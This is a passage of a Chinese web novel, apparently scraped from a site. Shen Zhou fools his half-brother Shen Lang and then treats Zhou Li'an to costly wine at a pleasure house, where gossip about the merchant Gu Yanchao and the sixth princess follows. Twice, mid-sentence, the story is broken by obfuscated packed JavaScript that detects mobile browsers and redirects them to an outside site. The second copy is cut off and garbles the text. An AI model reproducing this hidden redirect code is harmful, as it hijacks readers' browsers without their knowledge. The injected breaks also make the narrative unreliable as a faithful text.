沈泊易本想再问他公主府的境况,见状便没有开口,他一个大老爷们不会安慰人,何况是年轻男女之间那些事,沉默已经是极大的体贴了。 他掀开车帘,对着热闹的街景无声轻叹。 沈家的宅子安置在东市的道政坊,宅子不算大,但地段好,周遭官吏富户云集,是个广结善缘的好地带,乔迁宴还没办,乔迁礼就已经陆陆续续送来了。 沈琅这几日帮着钟氏上下打点差点没跑断腿,这会儿正顶着日头,拖着疲惫的步伐指挥小厮擦洗门口那两尊石狮子。 远远看到马车,沈琅飞一般奔上来,“爹!” 然后死死盯住从车上慢悠悠下来的沈骤,那眼神上上下下的打量,恨不能上手把沈骤浑身摸一遍,看起来诡异极了,只听他屏住呼吸问:“你、你手脚……全的吗?” 沈骤睡眼惺忪,软绵绵朝他招了招手,“断了断了,还不过来扶着点?” 沈琅信以为真,竟真将他搀扶住。 沈泊易还有公务在身,吩咐了句“送你兄长回去歇息”便又乘车离开了。 沈骤进到府里四处张望,见池子里已经种满了荷花,锦鲤都养了好几条,不免唏嘘道:“夫人这是下了血本,这宅子不便宜吧?” 沈骤胳膊搭在沈琅肩上,半身重量都压在他身上,若放在平日沈琅定要边骂边推搡,但这会儿他却出奇地安静,半响憋出一个“嗯”字。 沈骤狐疑地看他一眼,竟见他悄无声息红了眼眶,脚下不由一顿,“你——” “那该死的姜定轩!”沈琅实在憋不住,一边哽咽落泪一边咬牙切齿,道:“我还当他们这些天潢贵胄是什么好东西,个个都是不讲理的疯子!竟然因为你这张脸就将你腿打折,简直没了天理!” 这几日沈琅肠子都要悔青了,他就不该在诗会上喝得酩酊大醉,否则也不至于让姜定轩就那么把沈骤绑走,虽然翌日他酒醒时得知沈骤已经被公主救走,但外头的传言一个比一个惊悚。有说沈骤被刮花了脸再不能见人,也有说沈骤被投了毒命不久矣,更有传说沈骤被姜定轩卸了胳膊腿儿,做成了人彘。 总之五花八门邪得很,沈琅闻之大惊,跑到公主府外想见沈骤最后一面,然而对着那一行凶神恶煞的带刀侍卫,终是悻悻离开。 倒是沈泊易看起来冷静得很,沈琅都险些以为他爹要拿沈骤换富贵了,一改平日对他爹的畏惧,他指着沈泊易就呛:“你、你这是卖儿求荣!亏我还以为我爹是什么正直清廉的好官呢,眼睁睁看着自己的亲儿子在狼窝虎穴叫人凌虐也不管不顾,我、我真是错看你了!” 沈泊易本就焦头烂额,被沈琅一番话气得脑仁直跳,巴掌都举起来了,却是长叹了一声气,揉了把沈琅的脑袋。 沈琅被揉得毛骨悚然,也不敢再跟沈泊易撒泼打滚,只能远远到公主府外徘徊,企图打听点沈骤的消息。 虽说他厌恶极了这个外室子,可也实在不想他无人收尸,就在昨日,沈琅还梦到沈骤被裹了草席从公主府里丢出来。 思及此,沈琅愈发心有余悸,“我算是看出来了,这天子脚下就不是个讲理的地方,人命如草荠啊,你这腿……以后也不能往外跑了,不过你放心,往后我也不再参加那些个劳什子宴会了!” 这又不是那个想要结交权贵的沈琅了,沈骤看他似乎是当了真,正想站直解释一二,又见沈琅一抹眼泪,坚强道:“我已经答应娘参加明年的科考了,等我功成名就,定替你报这断腿之仇!” 沈骤把话咽下去,重新靠了回去,道:“科考啊,科考好。” 沈琅又咒骂半响,见他反而没说几句,不由一顿,小心翼翼问:“六公主……没把你怎么样吧?” 沈骤一笑,“我都这样了,她还能把我怎么样?” 沈琅松了口气,不幸中的万幸,不过……他叹了声气,怜悯道:“沈骤,你别难过,以后就算没有女子看得上你了,沈家也会养你一辈子,将来我若有了孩子,也让他们给你养老送终。” 也怪自己喝酒误事,这点补偿沈琅还是很有诚意。 “养老送终啊……”沈骤闻言轻哂,“我要是死了,你也年年祭拜我?” “你、你想不开啊?”沈琅脸色微变,“别吧……不就是腿瘸了吗,大、大不了以后我天天搀着你走,你想去哪儿去哪儿,想听曲想喝酒都随你,我再不骂你了。” 沈骤低低笑起来,片刻实在忍不住,倒在沈琅身上笑得花枝乱颤。沈琅一头雾水,待沈骤笑够了,慢悠悠站直,道:“这可是你说的,搀着我走就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413764|183216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不必了,快饿死了,先给我弄点吃的,等我沐浴完咱们再商量去哪里听曲。” 说罢他拍了拍沈琅的肩,闲庭信步地走进了前面的小院,不必沈琅指路,他就找到了自己的屋子,熟悉得不像是第一天进这座宅邸。 沈琅瞠目结舌,直到他阖上屋门才反应过来,蓦地暴喝:“沈——骤!你敢耍老子!” “还想听曲喝酒……”小郎君气懵了头,好半天才想起冲进院子里,拍着门说:“我看就该让你横尸街头,连草席都不给你裹,以后再想给你收尸我就是狗!” 沈骤脱了衣袍,身上伤口结痂未愈尚不能沾水,他只是简单擦洗一番,听外头沈琅的叫骂脸上笑意不减,直到那骂声渐渐停了,他的唇角也随之放平。 他挑开换下的衣裳,那张藕色锦帕正静静躺在衣襟里。 沈骤又做梦了。 梦里是熙熙攘攘的人群,沈骤面朝他们被押在断头台上,迎着正午最毒辣的日头,一把弯刀自上而下。 这梦沈骤做了无数次,每当那屠刀落下时他都能格外看清对面人群里的人,梦里都是熟面孔,有时他看到沈泊易,有时看到沈琅,有时看到的是裴序,甚至还有姜定轩、萧茵…… 他看到很多人,他们或悲或喜,或惊或怒,可那些人里唯独没有李繁宁。 沈骤不敢梦到她。 但今夜他还是看到她了,不在那些人群里,而是……沈骤顺着台下人的视线转过头,看到她和自己跪在一起。 行刑官的刀对准了她,沈骤不再习以为常,烈日下的躯体从头凉到脚,还来不及挣扎,那刀锋就只剩残影,血喷涌而出,他的脸上一片湿热。 沈骤在刹那间惊坐而起,下意识摸了把自己的脸。 没有血,只是梦,只是个梦…… 他颤抖着呼出一口气,望着窗外透亮的月色,眸色逐渐冷却。须臾,他赤足下榻,盯着那张被叠得方方正正的锦帕看了许久,终是其锁进了抽屉里。 那之后沈家的日子又步入了正轨,沈泊易在兵部忙得脚不沾地,鲜少归家,钟氏则一边忙着迎来送往结交贵妇,一边还不忘盯着沈琅读书写字。沈琅简直恨死沈骤了,要不是为了他一时冲动放了要功成名就的狠话,他娘也不会信以为真乐开花。 这下好了,他娘真以为他是考状元的料子,每日将他拘在屋里,又是送汤又是送饭。 沈琅觉得自己在坐牢。 尤其是每日看着沈骤花枝招展地从自己窗前路过,沈琅险些把笔掰断! 这阵子沈骤彻底攀上了周礼安,据说两人相见恨晚还拜了把子,如今兄友弟恭的,在长安城过得醉生梦死。昨日他回来就一身酒气熏天,说是周礼安带他去了蓬莱仙岛。 蓬莱仙岛啊,长安有名的销金窟,沈琅羡慕极了,偏拉不下脸同沈骤厮混,这会儿看着沈骤轻快的背影,他重重撂下笔,道:“庶子就是见识短,周礼安一个世家末流人物,也值得他费心巴结,等我金榜题名,蓬莱仙岛算什么,我把整个平康坊都买下来!” 侍奉笔墨的小厮摸摸鼻子不说话。 17.第十六章 夜色如墨,平康坊的街巷楼阁依次亮起了琉璃灯盏,正中那座最富丽堂皇的楼宇,丝丝琴音从朱漆大门里飘出来,像是勾魂夺魄的蛊,沈骤挑开水晶帘,里面是另一番天地。 这便是“蓬莱仙岛”了,传闻中的平康坊三绝之一。另外两绝分别是以乐闻名的百灵坊和以色闻名的万花楼,而蓬莱仙岛虽是以酒闻名,但声色上也毫不逊色。台上歌舞袅袅,群芳争艳,就连端茶倒水的小厮都眉清目秀,雌雄莫辨。 但要说此处最妙的还是里头的布景,窗纸上都糊了黑布,不管外头是白天黑夜,里面是半点天光也瞧不见,楼上楼下灯火通明,让人一踏入此处便以为夜幕降临。那唱台上更是烟雾缭绕,当真如仙境一般,让人乐不思蜀。 这样的人间宝地,也怪不得能叫人一掷千金。 周礼安是这里的常客,这几日没少带着沈骤长见识,但沈骤囊中羞涩,总是一脸穷酸样,扣扣搜搜拿不出手,今日倒是一反常态,主动邀请周礼安,说是念着他前几日的慷慨大方,要回请他一顿酒。 这蓬莱仙岛最便宜的酒一壶都要五两,周礼安实在怀疑沈骤的腰包,据他所知沈泊易之前那个官做得清汤寡水,沈家并不富裕,何况沈骤一个庶子,从前在扬州寻欢作乐大多还都是赊账。 不料沈骤一坐下来,就拍下一锭金子,对那奉茶的娘子道:“来,把你们这儿最贵的酒端上来。” 这金子着实晃人眼,若是换成旁的地儿,这锭金子必能换来小娘子的好脸色,可蓬莱仙岛的仆婢早就见惯了大手笔,对着这金子不仅无动于衷,反而轻轻抽了下嘴角。 这里最贵的酒叫天香醉,一小壶就要百金,饶是达官显贵到此处宴饮,也少有人如此豪奢点过此酒。 就连周礼安也只是之前跟着姜定轩来的时候沾光尝过那么一小口,那味道简直让人欲生欲死。 大抵是前两日与沈骤多说了几句,但他只顾着说这酒如何好,没与沈骤说这酒如何贵。 周礼安眼皮一跳,急忙忙拉过他的衣袖,低声道:“你疯啦?你知道最贵的酒有多贵?这儿可不是你们扬州的酒馆还带赊账的,你当这里的堂官吃素的?” 沈骤却拍拍周礼安的手背,“放心,说了今日请周兄喝酒,那必然得上最好的酒!” 说罢他从腰间解下一只沉甸甸的钱袋子,“噹”一声砸在桌上,“再叫你们这儿最好的琴师来奏乐!” 周礼安愣住,这可是满满一钱袋金叶子…… 那小娘子收了钱袋,放在手里掂了掂,随即变戏法似的扬起笑来,夹着嗓音说:“两位爷稍等,奴这就让人好酒好菜伺候着!” 那殷勤劲儿,比对着周礼安更甚。 周礼安目瞪口呆,见鬼似的看着沈骤,“你哪来的金叶子?” 他想起什么,惊道:“不会是你爹——” “想什么呢?”沈骤把硌在腰间的扇子抽出来,搁在桌上道:“我爹是个死脑筋,这几日家里送礼的不少,唯恐御史弹劾,他一样都没敢收。” 这周礼安倒是听说过,于是更好奇,“那你这是……” 沈骤神秘一笑,“周兄这不是明知故问,我们这些人谁没有点自己的门道,真靠家中给的那三瓜两枣哪活得起?” 这倒是,周礼安在礼部领的闲差,每月俸禄不够塞牙缝,周家虽富裕,但世家大族规矩多,银子也不是说支就能支的,要想手头宽裕,还得靠他自己在外钻营。 可即便是周礼安钻营了这么些年,也没到随手能丢出一袋金叶子的地步,这姓沈的前两日还穷得叮当响,什么门道来钱这般快? 周礼安有意打听,却被沈骤糊弄过去,“诶周兄,今日不谈别的,我们兄弟俩不醉不休!” 正逢酒菜上齐,沈骤热络地给周礼安斟酒。 周礼安被那香醇的美酒堵了嘴,咂咂品了品,眼神顿时亮了。 不过他还没忘打听沈骤那袋金叶子,然而正要开口,忽见对面二楼呜呜泱泱下来几个人。那些人个个锦衣华服,满身金玉堆砌出的铜臭味,尤其是当中那个男子,那一身玄色金丝广袖长衫,锦缎上用金线密密麻麻绣着繁复的云纹,与旁边鎏金嵌玉的柱子几乎融为一体。 他手里还拎着酒壶,看样子已经喝得半醉,勾着旁边侍从的肩方才站稳。 周礼安朝抬了抬下巴,神秘兮兮地说:“诶,你知道那是谁吗?” 沈骤顺着他的视线看过去,这人生得太过秾丽,一身富丽堂皇的气度,让他看起来和这声色场合太过相配,又与周遭几人格格不入。 他若有所思道:“谁啊?” 周礼安压低了声音,“顾、宴、朝!” 沈骤露出了然的神色,惊讶道:“就是那个长安城有名的大富商?” 周礼安扬着声调“嗯”了声,丝毫不怀疑有人会不知道顾宴朝的名字。 要说如今长安最有钱的人,不是圣上,也不是户部,而是顾宴朝,据说他顾氏家产能抵半个国库,如今的商会也是以他为首。虽然商人属末流,但有钱到这个程度,就算是户部尚书来了都得给他弯个腰。 “这个蓬莱仙岛背后的东家也是他。”周礼安啧啧两声,“哦对了——” 他左右一看,偷偷摸摸地说:“他还是六公主的姘头!” 见周礼安的酒鐏空了,沈骤又继续给他添酒,闻言仔细看了对面一眼,玩笑似的道:“他长得也像那位?” 周礼安却是仔细看了他一眼。 说实话,沈骤长成这样,周礼安原本也半信半疑,这几日带着他胡吃海喝,也是受人之托,存了试探的心思,但这么多天下来,他除了这张脸,实在与那个人没有半点相像。 他提起那位时的自如更让周礼安愈发相信他不是了,周礼安在他面前也愈发松快。 这人一松快,话难免也多了,只听他道:“他自然是不像,但正是不像才显得与众不同。你怕是不知道,当初顾宴朝一个外来客,区区三年,就能在长安这个地方把生意做得这般大,那是因为有执鸾司在背后保驾护航。就像这蓬莱仙岛,开在平康坊最繁华的地段,人来人往权贵云集,可从未有人敢在这儿闹事,你当是为什么?” 沈骤嘴角噙着笑,虚心问:“为什么?” 周礼安啧一声,“当然是因为不敢得罪公主呗,不过呢这姓顾的也的确厉害,都说他是六公主的钱袋子,那个执鸾司,最初成立时便独立于三司之外,深受朝廷排挤,户部更是死活不肯拨款,全靠圣上的私库养着,可圣上那私库养得了一时养不了一世,这些年要不是顾宴朝鼎力相助,执鸾司也不能这般顺风顺水。” 啧啧,这要不是李繁宁的人,周礼安高低也得上去巴结巴结。 说了这么多,周礼安回头看了眼沈骤,拍拍他的肩说:“唉,虽说你拒绝了圣上的赐婚实在胆大包天,但男人么,有几个受得了做绿毛龟的?就算你凭着这张脸做了驸马,可时日长了她总会觉得你不像,到那时候等着你的可就是苦日子了。” 周礼安倒是真心为沈骤考虑,六公主的驸马要是真那么好当,早就有人挤破头了。 这两年惦记执鸾司的不少,可真敢往前凑的实在屈指可数。 沈骤忙与周礼安碰杯,如遇知己般道:“还是周兄懂我,我虽生了这张脸,但到底不是公主的心上人,占着他人的位置如何能过得快活?” “你也不容易。”周礼安摆摆手道:“不说这些了,喝酒喝酒!” 两人举杯共饮,一坛酒很快见了底。 连廊对面,隔着高台舞曲,顾宴朝与几个商贾辞别寒暄。 那几人亦是醉醺醺的: “有顾老板这句话,今年的酒行生意我们就放心了。” “这长安商行若没有顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周礼安心惊胆颤地叫来人,一问,这厮竟然已经把钱结了。 见鬼,周礼安心里泛着嘀咕,但耐不住头疼,叫人套了马车回家去了。 路上他遇到同去上职的何云升,本想打个招呼,却见对方脸色阴沉萎靡,活像被人劫了财。 周礼安把声音咽了回去,没得再给人当了出气筒,干脆装看不见,拉紧了车帷,嘱咐车夫快些走。 这酒后劲太大,周礼安回到周府倒头就睡,奈何还没睡熟,忽然一棍子打在身上。 他得龇牙咧嘴,掀被道:“我他娘,哪个不要命的敢——祖、祖父?” 周礼安霎时清醒,眼看老爷子第二棍要落下,周礼安光脚就下了榻,就听老爷子骂道:“混账东西!醉酒外宿,你连着几日没去礼部点卯?周家就这么点脸全让你丢尽了!” “我没乱玩儿!”周礼安摁住老爷子的拐杖,忙说:“这不是您让我去探探沈骤的底吗,我把这事记心上呢!” 周老爷子蓄着一把白须,闻言冷静下来,道:“说罢。” 周礼安扶着腰坐下,抹了把汗,想了片刻说:“我觉得他不是。” 周老爷子追问:“他不是什么?” 周礼安纳罕地看了自家祖父一眼,这些年老爷子逐渐从御史台退下,一年有半载都住在城郊的庄子上,每日不是浇花就是松土,颇有些归隐山林的意思,近来这是怎么了? “从前也没见你们多关心谢临舟,如今都这般紧张沈骤做什么?不会是真信了什么诈尸还魂的说辞吧?您不是不信这些么?” 老爷子重重敲了敲拐杖,“少说些废话。” 周礼安叹气,剥了个橘子在手里吃,“你们就放宽心吧,他真的不是,真的!” 他举着两瓣橘子发誓,“他要是谢临舟,我把脑袋割下来,成吗?”